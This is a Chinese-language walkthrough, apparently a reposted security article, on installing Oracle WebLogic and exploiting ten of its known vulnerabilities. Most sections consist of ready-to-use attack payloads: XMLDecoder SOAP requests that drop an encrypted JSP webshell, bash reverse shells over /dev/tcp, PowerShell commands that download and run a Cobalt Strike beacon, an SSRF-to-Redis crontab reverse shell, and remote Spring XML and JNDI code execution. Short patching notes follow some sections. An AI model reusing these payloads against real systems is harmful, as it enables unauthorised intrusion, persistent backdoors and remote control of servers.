Skip to content

Latest commit

 

History

History
799 lines (477 loc) · 43 KB

weblogic 中间件漏洞总结.md

File metadata and controls

799 lines (477 loc) · 43 KB

本文由 简悦 SimpRead 转码, 原文地址 mp.weixin.qq.com

一. weblogic 简介

WebLogic 是美国 Oracle 公司出品的一个 application server 确切的说是一个基于 JAVAEE 架构的中间件,BEA WebLogic 是用于开发、集成、部署和管理大型分布式 Web 应用、网络应用和数据库应用的 Java 应用服务器。WebLogic 是用于开发、集成、部署和管理大型分布式 Web 应用、网络应用和数据库应用的 Java 应用服务器。将 Java 的动态功能和 Java Enterprise 标准的安全性引入大型网络应用的开发、集成、部署和管理之中。

WebLogic Server 具有标准和可扩展性的优点,对业内多种标准都可全面支持,包括 EJB、JSP、Servlet、JMS、JDBC、XML(标准通用标记语言的子集)和 WML,使 Web 应用系统的实施更为简单,并且保护了投资,同时也使基于标准的解决方案的开发更加简便,同时 WebLogic Server 以其高扩展的架构体系闻名于业内,包括客户机连接的共享、资源 pooling 以及动态网页和 EJB 组件群集。

默认端口:7001

目前较为活跃的版本:

Weblogic 10.3.6.0
Weblogic 12.1.3.0
Weblogic 12.2.1.1
Weblogic 12.2.1.2
Weblogic 12.2.1.3

二. weblogic 安装

下载地址:https://www.oracle.com/middleware/technologies/weblogic-server-installers-downloads.html

weblogic 最新的版本需要 jdk1.8 以上,如果 jdk1.7 或者以下,可能会安装不了,jdk1.6 的话应该是 10.3.6 及以下。

weblogic 10.3.6 安装

这里安装环境为 win7

image-20210809105230816image-20210809105644198

双击启动安装

image-20210809105814087image-20210809110119887image-20210809110133160image-20210809110203679image-20210809110238157image-20210809154158552image-20210809154229316image-20210809110431311

安装完成后自动出现快速启动页面

image-20210809111057748

这里默认即可

image-20210809111349116

这里我的是 zcc12345

开发模式:该模式启用自动部署;生产模式:该模式关闭自动部署 (MyEcipse 版本不支持产品模式)

image-20210809134240451image-20210809134317197image-20210809134433087

一直默认下一步之后点击创建

image-20210809134616650image-20210809134650091

weblogic 10.3.6 配置

进入该目录下,双击红框中的 startWebLogic.cmd,启动 weblogic

image-20210809134918621

输入刚刚设置的 weblogic 用户名和密码

weblogic
zcc12345

image-20210809135306951

打开浏览器输入控制台 url,进入控制台进行管理

http://192.168.10.154:7001/console/

image-20210809135607222

用户名密码还是上面设置的 weblogic/zcc12345

weblogic 12.1.3 安装

12 版本的安装需要在 jdk7 的环境下,这里我已经安装完成

image-20210814161036126image-20210814162020929

官网下载安装包,官网链接:https://www.oracle.com/middleware/technologies/weblogic-server-installers-downloads.html

image-20210814160458436

将下载好的安装包放入 jdk 的 bin 目录下,防止因环境变量带空格导致的错误,过程一直默认下一步即可

image-20210814162427162

这里一定要以管理员身份运行,不然提取文件会失败

java -jar fmw_12.1.3.0.0_wls.jar

image-20210814163432029image-20210814165250515image-20210814165616715

接下来安装域

在电脑上找到 Configuration Wizard,双击运行

image-20210814165704899

选择下一步 -> 下一步

image-20210814165802594

输入口令,这里用户名默认,口令设置的是 zcc12345

image-20210814165857818

下一步

image-20210814165945030image-20210814165958254

选本机 IP

image-20210814170040154image-20210814170128516image-20210814170217064image-20210814170242532image-20210814170306146

weblogic 12.1.3 配置

进入该目录下启动,这里不再需要输入账号密码

C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain

image-20210814170531939

成功搭建,可正常访问。

三. weblogic 渗透总结

1.XMLDecoder 反序列化漏洞 CVE-2017-10271

漏洞简介

Weblogic 的 WLS Security 组件对外提供 webservice 服务,其中使用了 XMLDecoder 来解析用户传入的 XML 数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。

影响版本
10.3.6.0
12.1.3.0.0
12.2.1.1.0
验证漏洞

当访问该路径 /wls-wsat/CoordinatorPortType (POST),出现如下图所示的回显时,只要是在 wls-wsat 包中的皆受到影响,可以查看 web.xml 查看所有受影响的 url,说明存在该漏洞;

image-20210809140942304

C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\wls-wsat\54p17w\war\WEB-INF

进行该路径查看 web.xml;

image-20210809141314849image-20210809141512699

总结下来就是下面这些 url 会受到影响;

/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11
漏洞复现

抓包,修改内容

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java><java version="1.4.0" class="java.beans.XMLDecoder"> <object class="java.io.PrintWriter">  <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/zcc.jsp</string> <void method="println"><string> <![CDATA[<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%> ]]> </string> </void> <void method="close"/> </object></java></java> </work:WorkContext> </soapenv:Header> <soapenv:Body/></soapenv:Envelope>

image-20210809162737924image-20210809162717485

实现 Linux 反弹 shell 的 poc:

POST /wls-wsat/CoordinatorPortType HTTP/1.1Host: x.x.x.x:7001Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: text/xmlContent-Length: 637<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java version="1.4.0" class="java.beans.XMLDecoder"><void class="java.lang.ProcessBuilder"><array class="java.lang.String" length="3"><void index="0"><string>/bin/bash</string></void><void index="1"><string>-c</string></void><void index="2"><string>bash -i >& /dev/tcp/x.x.x.x/4444 0>&1</string></void></array><void method="start"/></void></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope>

实现 win 上线 cs

POST /wls-wsat/CoordinatorPortType HTTP/1.1Host: 192.168.10.154:7001Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: text/xmlContent-Length: 704<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java version="1.4.0" class="java.beans.XMLDecoder"><void class="java.lang.ProcessBuilder"><array class="java.lang.String" length="3"><void index="0"><string>powershell</string> </void> <void index="1"> <string>-Command</string> </void> <void index="2"> <string>(new-object System.Net.WebClient).DownloadFile('http://192.168.10.65/zcc.exe','zcc.exe');start-process zcc.exe</string></void></array><void method="start"/></void></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope>

cs 生成后门木马

image-20210810105923024

放在 kali 上,开启简易的 http 服务

image-20210810110037377

powershell 上线 cs:

powershell -Command (new-object System.Net.WebClient).DownloadFile('http://192.168.10.65/zcc.exe','zcc.exe');start-process zcc.exe

image-20210810111100065image-20210810110916447

成功上线 cs

安全防护

前往 Oracle 官网下载 10 月份所提供的安全补丁:

http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html

2.XMLDecoder 反序列化漏洞 CVE-2017-3506

漏洞简介

cve-2017-10271 与 3506 他们的漏洞原理是一样的, 只不过 10271 绕过了 3506 的补丁,CVE-2017-3506 的补丁加了验证函数,验证 Payload 中的节点是否存在 object Tag。

private void validate(InputStream is){ WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory(); try { SAXParser parser =factory.newSAXParser(); parser.parse(is, newDefaultHandler() { public void startElement(String uri, StringlocalName, String qName, Attributes attributes)throws SAXException { if(qName.equalsIgnoreCase("object")) { throw new IllegalStateException("Invalid context type: object"); } } }); } catch(ParserConfigurationException var5) { throw new IllegalStateException("Parser Exception", var5); } catch (SAXExceptionvar6) { throw new IllegalStateException("Parser Exception", var6); } catch (IOExceptionvar7) { throw new IllegalStateException("Parser Exception", var7); } }
影响版本
10.3.6.0
12.1.3.0
12.2.1.0
12.2.1.1 
12.2.1.2
漏洞复现

利用的 poc:

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java> <object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/zcc3.jsp</string> <void method="println"> <string> <![CDATA[ <% out.print("zcc1 hello"); %> ]]> </string> </void> <void method="close"/> </object> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/></soapenv:Envelope>

image-20210810141515224

安全防护

前往 Oracle 官网下载 10 月份所提供的安全补丁:

http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html

3.wls-wsat 反序列化远程代码执行漏洞 CVE-2019-2725

漏洞简介

此漏洞实际上是 CVE-2017-10271 的又一入口,CVE-2017-3506 的补丁过滤了 object;CVE-2017-10271 的补丁过滤了 new,method 标签,且 void 后面只能跟 index,array 后面只能跟 byte 类型的 class;CVE-2019-2725 的补丁过滤了 class,限制了 array 标签中的 byte 长度。

影响组件
bea_wls9_async_response.war
wsat.war
影响版本
10.3.*
12.1.3
验证漏洞

访问  /_async/AsyncResponseService,返回 200 则存在,404 则不存在

查看 web.xml 得知受影响的 url 如下:

访问路径为:

C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\bea_wls9_async_response\8tpkys\war\WEB-INF

image-20210810143210331

/_async/AsyncResponseService
/_async/AsyncResponseServiceJms
/_async/AsyncResponseServiceHttps
/_async/AsyncResponseServiceSoap12
/_async/AsyncResponseServiceSoap12Jms
/_async/AsyncResponseServiceSoap12Https
漏洞复现

访问该 url,回显如下,说明存在漏洞

image-20210810142738800

win 上线 cs 的 poc 如下,这里 exe 用的是上面生成的:

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"xmlns:asy="http://www.bea.com/async/AsyncResponseService"><soapenv:Header><wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</wsa:RelatesTo><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><void class="java.lang.ProcessBuilder"><array class="java.lang.String" length="3"><void index="0"><string>powershell</string></void><void index="1"><string>-Command</string></void><void index="2"><string>(new-object System.Net.WebClient).DownloadFile('http://192.168.10.65/zcc1.exe','zcc1.exe');start-process zcc1.exe</string></void></array><void method="start"/></void></work:WorkContext></soapenv:Header><soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope>

安全防护

1、升级本地 JDK 环境

2、及时安装官方补丁

4.WebLogic T3 协议反序列化命令执行漏洞 CVE-2018-2628

漏洞简介

远程攻击者可利用该漏洞在未授权的情况下发送攻击数据,通过 T3 协议(EJB 支持远程访问,且支持多种协议。这是 Web Container 和 EJB Container 的主要区别)在 Weblogic Server 中执行反序列化操作,利用 RMI(远程方法调用) 机制的缺陷,通过 JRMP 协议(Java Remote Messaging Protocol:java 远程消息交换协议)达到执行任意反序列化 payload 的目的。

影响版本
10.3.6.0
12.1.3.0
12.2.1.1
12.2.1.2
相关漏洞
CVE-2015-4852
CVE-2016-0638
CVE-2016-3510
CVE-2017-3248
CVE-2018-2893
CVE-2016-0638
验证漏洞

使用脚本跑,脚本运行需 python2 环境,出现如下图所示的回显时,说明存在该漏洞;

脚本链接:https://github.com/shengqi158/CVE-2018-2628

image-20210810160702675image-20210810160718697

漏洞复现

windows-getshell,使用 k8weblogicGUI.exe

image-20210810163031055

这里出了点问题,文件名改成了 1.jsp

image-20210810164738168

用脚本连接得到交互 shell, 脚本运行需 python2 环境

脚本链接:https://github.com/jas502n/CVE-2018-2628

image-20210810165228766

在此处上线 cs,用的依旧是上面的马,改名 zcc3.exe

powershell -Command (new-object System.Net.WebClient).DownloadFile('http://192.168.10.65/zcc3.exe','zcc3.exe');start-process zcc3.exe

image-20210810170001387image-20210810170039655

安全防护

过滤 t3 协议,再域结构中点击 安全 -> 筛选器,选择筛选器填:

weblogic.security.net.ConnectionFilterImpl

image-20210813140332501

保存后重启 weblogic 即可。

5.WebLogic 未授权访问漏洞(CVE-2018-2894)

漏洞简介

Weblogic Web Service Test Page 中有两个未授权页面,可以上传任意文件。但是有一定的限制,该页面在开发模式下存在,在生产模式下默认不开启,如果是生产模式,需要登陆后台进行勾选启动 web 服务测试页,如下图。

image-20210813145148182

影响版本
10.3.6
12.1.3
12.2.1.2
12.2.1.3
验证漏洞

测试页有两个

/ws_utc/config.do
/ws_utc/begin.do
漏洞复现

这里要注意的是 12 版本,以前以及现在的默认安装是 “开发模式”,“生产模式” 下没有这两处上传点。如果是生产模式,需要登陆后台进行如下配置:(开发环境下不需要!!)

image-20210814171049349

勾选启用 web 服务测试项,保存重启 weblogic 即可

  1. 测试 / ws_utc/config.do

访问 / ws_utc/config.do 页面,首先设置一下路径,设置 Work Home Dir 为 ws_utc 应用的静态文件 css 目录,因为默认上传目录不在 Web 目录无法执行 webshell,这里设置为:(css 访问不需要任何权限)

C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\com.oracle.webservices.wls.ws-testclient-app-wls_12.1.3\cmprq0\war\css

image-20210813152013436

提交后,点击左边安全 -> 添加,上传 jsp 大马

获取文件 id:1628933663766

访问 url:

http://192.168.0.105/:7001/ws_utc/css/config/keystore/{时间戳}_{文件名}
http://192.168.0.105:7001/ws_utc/css/config/keystore/1628933663766_JspSpy.jsp

image-20210814173547786

输入密码

image-20210814173903964image-20210814174004800

可以看见成功上线,同样方法也可以上传一句话或者其他木马。

  1. 测试 /ws_utc/begin.do

大致方法和上面的 url 一样,这里需要注意的是

1./ws_utc/begin.do使用的工作目录是在/ws_utc/config.do中设置的Work Home Dir;
2.利用需要知道部署应用的web目录;
3.在生产模式下不开启,后台开启后,需要认证。

image-20210814175127172image-20210814175507654image-20210814180116136

报错可以忽略,返回包中已有文件路径

/css/upload/RS_Upload_2021-08-14_17-59-33_143/import_file_name_zcccmd.jsp

image-20210814180054350

访问路径,成功访问,powershell 上线 cs

http://192.168.0.105:7001/ws_utc/css/upload/RS_Upload_2021-08-14_17-59-33_143/import_file_name_zcccmd.jsp

powershell -Command (new-object System.Net.WebClient).DownloadFile('http://192.168.0.108/zcc.exe','zcc.exe');start-process zcc.exe

image-20210814181718937

安全防护
  1. 启动生产模式后 Config.do 页面登录授权后才可访问

  2. 升级到最新版本,目前生产模式下已取消这两处上传文件的地方。

6.Weblogic SSRF 漏洞(CVE-2014-4210)

漏洞简介

Oracle WebLogic Web Server 既可以被外部主机访问,同时也允许访问内部主机。比如有一个 jsp 页面 SearchPublicReqistries.jsp,我们可以利用它进行攻击,未经授权通过 weblogic server 连接任意主机的任意 TCP 端口,可以能冗长的响应来推断在此端口上是否有服务在监听此端口,进而攻击内网中 redis、fastcgi 等脆弱组件。

影响版本
10.0.2.0
10.3.6.0
验证漏洞

访问该路径,如果能正常访问,说明存在该漏洞

/uddiexplorer/SearchPublicRegistries.jsp

image-20210814185115833

漏洞复现

这里复现用的 vulhub 靶场环境

抓包,在 url 后跟端口, 把 url 修改为自己搭建的服务器地址, 访问开放的 7001 端口

image-20210814192248494image-20210814192515111

发现返回如下信息,说明开放 7001 端口,但是不是 http 协议

An error has occurred<BR>weblogic.uddi.client.structures.exception.XML_SoapException: The server at http://127.0.0.1:7001 returned a 404 error code (Not Found).  Please ensure that your URL is correct, and the web service has deployed without error.

image-20210814192706701

访问未开放的端口,会返回下面的信息

An error has occurred<BR>weblogic.uddi.client.structures.exception.XML_SoapException: Tried all: '1' addresses, but could not connect over HTTP to server: '127.0.0.1', port: '7002'

image-20210814193417626

访问存在的端口,且为 http 协议时返回如下

An error has occurred<BR>weblogic.uddi.client.structures.exception.XML_SoapException: Received a response from url: http://192.168.0.108:80 which did not have a valid SOAP content-type: text/html.

image-20210814203203147

7.weblogic SSRF 联动 Redis

漏洞复现

依旧用的上面这个靶场

image-20210814204005054

这里查一下开启 redis 服务的这个容器 IP,找到 ip:172.20.0.2

docker inspect a5a

image-20210814204200558

可以看见 6379 的端口存在,且为 http 协议

image-20210814204413085

本机监听 12345 端口

image-20210814204756777

burp 改包直接将弹 shell 脚本到本机 kail 上(192.168.0.104)

set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.0.104/12345 0>&1\n\n\n\n"config set dir /etc/config set dbfilename crontabsave

经过 url 编码后,写入 bp 中 operator 参数的后面:

operator=http://172.20.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.0.104%2F12345%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa

image-20210814210942824image-20210814211117689

反弹 shell 成功。

安全防护

升级高版本。

8.Weblogic 弱口令 && 后台 getshell

漏洞简介

由于管理员的安全意识不强,或者配置时存在疏忽,会导致后台存在弱口令或者默认的用户名 / 口令。

影响版本

全版本

漏洞复现

通过弱口令登录管理台后,点击部署 -> 安装

image-20210814212040819image-20210814212434754image-20210814212521338

这里 war 包成功上传

image-20210814212645817

将其作为应用程序安装

image-20210814212857889image-20210814212917962

点击完成。

image-20210814213012827

可以看见部署成功,访问 url

http://192.168.0.105:7001/zcc/JspSpy.jsp

image-20210814214222692

输入密码,即可成功拿到 webshell

image-20210814214304327

安全防护

避免出现弱口令

9.Weblogic Console HTTP 协议远程代码执行漏洞 (CVE-2020-14882/CVE-2020-14883)

漏洞简介

未经身份验证的远程攻击者可能通过构造特殊的 HTTP GET 请求,利用该漏洞在受影响的 WebLogic Server 上执行任意代码。它们均存在于 WebLogic 的 Console 控制台组件中。此组件为 WebLogic 全版本默认自带组件,且该漏洞通过 HTTP 协议进行利用。将 CVE-2020-14882 和 CVE-2020-14883 进行组合利用后,远程且未经授权的攻击者可以直接在服务端执行任意代码,获取系统权限。

影响版本
10.3.6.0
12.1.3.0
12.2.1.3
12.2.1.4
14.1.1.0
漏洞复现

CVE-2020-14883: 权限绕过漏洞的 poc:

http://192.168.0.105:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=AppDeploymentsControlPage&handle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29

访问该 url 之后,进入如下页面,可以看见成功进入管理台:

image-20210814220636352

CVE-2020-14882: 代码执行漏洞的 poc:

http://192.168.0.106:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27touch /tmp/zcc123%27);%22);

这里复现用的 vulhub 靶场

image-20210814222333621

访问报 404,不要慌,此时去容器中看会发现文件已成功写入;

image-20210814221311713

这里执行反弹 shell 的 xml 文件 poc.xml:

## poc.xml<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">  <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">    <constructor-arg>      <list>        <value>/bin/bash</value>        <value>-c</value>        <value><![CDATA[bash -i >& /dev/tcp/192.168.0.104/6669 0>&1]]></value>      </list>    </constructor-arg>  </bean></beans>

把 poc.xml 放在打开 http 服务的 kali 机子上 (ip:192.168.0.108):

在监听机子上开启监听:

image-20210814223442393

然后访问该 url:

http://192.168.0.106:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://192.168.0.108/poc.xml")

image-20210814224224450

同理,上线 cs 的话把反弹的命令改了即可。

安全防护

升级官方补丁:https://www.oracle.com/security-alerts/cpuoct2020.html

10.IIOP 反序列化漏洞(CVE-2020-2551)

漏洞简介

2020 年 1 月 15 日,Oracle 官方发布 2020 年 1 月关键补丁更新公告 CPU(CriticalPatch Update),其中 CVE-2020-2551 的漏洞,漏洞等级为高危,CVVS 评分为 9.8 分,漏洞利用难度低。IIOP 反序列化漏洞影响的协议为 IIOP 协议,该漏洞是由于调用远程对象的实现存在缺陷,导致序列化对象可以任意构造,在使用之前未经安全检查,攻击者可以通过 IIOP 协议远程访问 Weblogic Server 服务器上的远程接口,传入恶意数据,从而获取服务器权限并在未授权情况下远程执行任意代码.

影响版本
10.3.6.0
12.1.3.0
12.2.1.3
12.2.1.4
漏洞复现

需要安装 java8 环境

cd /optcurl http://www.joaomatosf.com/rnp/java_files/jdk-8u20-linux-x64.tar.gz -o jdk-8u20-linux-x64.tar.gztar zxvf jdk-8u20-linux-x64.tar.gzrm -rf /usr/bin/java*ln -s /opt/jdk1.8.0_20/bin/j* /usr/binjavac -versionjava -version

这里我已经安装好

image-20210814225849356

exp.java 代码

import java.io.IOException;public class exp { static{  try {   java.lang.Runtime.getRuntime().exec(new String[]{"cmd","/c","calc"});  } catch (IOException e) {   e.printStackTrace();  } } public static void main(String[] args) {   }}

image-20210814230308993

java 编译 exp.java

javac exp.java -source 1.6 -target 1.6

image-20210814230430269

接着 python 开启 http 服务, 与 exp.class 在同一文件夹即可

image-20210814230710705

使用 marshalsec 启动一个 rmi 服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.0.108/#exp" 12345

image-20210814230935474

使用工具 weblogic_CVE_2020_2551.jar,执行 exp

java -jar weblogic_CVE_2020_2551.jar 192.168.0.105 7001 rmi://192.168.0.108:12345/exp

image-20210814231847184

可以看见成功弹出

image-20210814231822800

同理,上线 cs 的话,只需改 exp.java 代码即可,后续步骤一样

import java.io.IOException;public class exp { static{  try {   java.lang.Runtime.getRuntime().exec(new String[]{"powershell","/c"," (new-object System.Net.WebClient).DownloadFile('http://x.x.x.x/zcc.exe','zcc.exe');start-process zcc.exe"});  } catch (IOException e) {   e.printStackTrace();  } } public static void main(String[] args) {   }}
安全防护

使用官方补丁进行修复:https://www.oracle.com/security-alerts/cpujan2020.html

欢迎关注亿人安全!

公众号